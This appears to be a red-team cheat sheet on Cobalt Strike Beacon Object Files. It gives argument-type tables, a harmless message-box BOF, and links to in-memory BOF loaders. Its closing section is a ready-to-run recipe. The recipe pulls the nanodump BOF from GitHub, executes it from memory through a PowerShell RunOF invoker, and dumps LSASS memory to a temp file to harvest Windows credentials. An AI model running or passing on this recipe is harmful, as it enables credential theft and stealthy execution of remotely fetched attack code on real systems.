BOF / COFF

Beacon Object Files / Common Object File Format

• https://www.trustedsec.com/blog/operators-guide-to-the-meterpreter-bofloader/

• https://securityintelligence.com/posts/how-to-hide-beacon-during-bof-execution/

• https://github.com/xforcered/bofmask

• [PDF] Microsoft Portable Executable and Common Object File Format Specification (Microsoft Corporation)

Argument types for bof_pack:

Type	Description	Unpack With (C)
b	binary data	BeaconDataExtract
i	4-byte integer	BeaconDataInt
s	2-byte short integer	BeaconDataShort
z	zero-terminated+encoded string	BeaconDataExtract
Z	zero-terminated wide-char string	(wchar_t *)BeaconDataExtract

A basic BOF example:

BOF

msgbox.c

// curl -sS https://download.cobaltstrike.com/downloads/beacon.h -o beacon.h
// x86_64-w64-mingw32-gcc -c msgbox.c -o msgbox.o

#include <windows.h>
#include "beacon.h"

void go(char* args, int alen)
{
    DECLSPEC_IMPORT INT WINAPI USER32$MessageBoxA(HWND, LPCSTR, LPCSTR, UINT);

    datap parser;
    BeaconDataParse(&parser, args, alen);

    char* message;
    message = BeaconDataExtract(&parser, NULL);

    USER32$MessageBoxA(NULL, message, "Hello from BOF!", 0);
}

Aggressor

Run BOFs outside of C2

• https://www.trustedsec.com/blog/coffloader-building-your-own-in-memory-loader-or-how-to-run-bofs/

• https://github.com/trustedsec/COFFLoader

• https://skyblue.team/posts/invoke-bof/

• https://github.com/airbus-cert/Invoke-Bof

• https://github.com/Cracked5pider/CoffeeLdr

• https://github.com/frkngksl/NiCOFF

• https://github.com/trustedsec/CS_COFFLoader

RunOF

• https://labs.nettitude.com/blog/introducing-runof-arbitrary-bof-tool/

• https://github.com/nettitude/RunOF

An example of running the nanodump.x64.o BOF via RunOF fork from memory:

• Compile RunOF.exe assembly and convert it to a PowerShell invoker (see .NET Reflective Assembly)

• Search for argument types that the target BOF uses (usually located in accompanying Aggressor scripts):

curl -sSL 'https://github.com/helpsystems/nanodump/raw/main/'`curl -sSL 'https://api.github.com/repos/helpsystems/nanodump/git/trees/main?recursive=1' | jq -r '.tree[] | select(.path | endswith(".cna")) | .path'` | grep bof_pack
    $args = bof_pack($1, "iziiiiiiiziiz", $pid, $dump_path, $write_file, $use_valid_sig, $fork, $snapshot, $dup, $get_pid, $use_malseclogon, $binary_path, $use_malseclogon_race, $use_werfault, $werfault_lsass);
    $args = bof_pack($1, "ziiiiizb", $dump_path, $use_valid_sig, $fork, $snapshot, $dup, $use_malseclogon, $binary_path, $dll);
    $args = bof_pack($1, "z", $ssp_path);
    $args = bof_pack($1, "z", $2);

• Load the invoker into memory, fetch the BOF (-u option) and run it providing necessary arguments with their types like this:

PS > Invoke-RunOF -u https://github.com/helpsystems/nanodump/raw/main/dist/nanodump.x64.o '-i:0' '-z:C:\Windows\Temp\lsass.bin' '-i:1' '-i:1' '-i:0' '-i:0' '-i:0' '-i:0' '-i:0' '-z:' '-i:0' '-z:'